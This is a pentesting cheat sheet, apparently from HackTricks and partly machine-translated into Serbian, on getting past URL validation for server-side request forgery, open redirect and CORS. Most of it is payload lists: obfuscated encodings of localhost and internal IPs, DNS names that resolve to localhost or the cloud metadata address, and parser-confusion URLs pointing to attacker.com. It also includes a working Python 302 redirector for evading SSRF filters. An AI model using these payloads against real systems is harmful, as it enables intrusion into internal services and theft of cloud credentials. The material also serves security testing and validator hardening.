URL Format Bypass

Reading time: 7 minutes

Localhost

# Localhost
0 # Yes, just 0 is localhost in Linuc
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376 -> hexadecimal, decimal and octal

# Add 0s bypass
127.000000000000.1

# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php

# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

Burp ekstenzija Burp-Encode-IP implementira zaobilaženje formatiranja IP adresa.

Parser domena

https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

Zbunjenost domena

# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com

# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

#Parameter pollution
next={domain}&next=attacker.com

Paths and Extensions Bypass

Ako je zahtevano da URL završi sa putanjom ili ekstenzijom, ili mora sadržati putanju, možete pokušati jedan od sledećih zaobilaženja:

https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path

Fuzzing

Alat recollapse može generisati varijacije iz datog ulaza kako bi pokušao da zaobiđe korišćeni regex. Pogledajte ovaj post takođe za više informacija.

Automatic Custom Wordlists

Pogledajte URL validation bypass cheat sheet webapp od portswigger-a gde možete uneti dozvoljeni host i napadačev host, a on će generisati listu URL-ova koje možete isprobati. Takođe uzima u obzir da li možete koristiti URL u parametru, u Host header-u ili u CORS header-u.

URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy

Bypass via redirect

Moguće je da server filtrira originalni zahtev za SSRF ali ne mogući redirect odgovor na taj zahtev.
Na primer, server koji je ranjiv na SSRF putem: url=https://www.google.com/ može filtrirati url parametar. Ali ako koristite python server da odgovori sa 302 na mesto gde želite da preusmerite, možda ćete moći da pristupite filtriranim IP adresama kao što je 127.0.0.1 ili čak filtriranim protokolima kao što je gopher.
Pogledajte ovaj izveštaj.

#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Objašnjeni trikovi

Blackslash-trik

Backslash-trik koristi razliku između WHATWG URL Standard i RFC3986. Dok je RFC3986 opšti okvir za URI, WHATWG je specifičan za web URL-ove i usvojen je od strane modernih pregledača. Ključna razlika leži u prepoznavanju backslash-a (\) u WHATWG standardu kao ekvivalentnog forward slash-u (/), što utiče na to kako se URL-ovi analiziraju, posebno označavajući prelaz sa imena hosta na putanju u URL-u.

Levo kvadratno zagrade

Karakter “levo kvadratno zagrade” [ u segmentu korisničkih informacija može uzrokovati da Spring-ov UriComponentsBuilder vrati vrednost imena hosta koja se razlikuje od pregledača: https://example.com[@attacker.com

Druge konfuzije

slika sa https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

Reference

• https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md
• https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet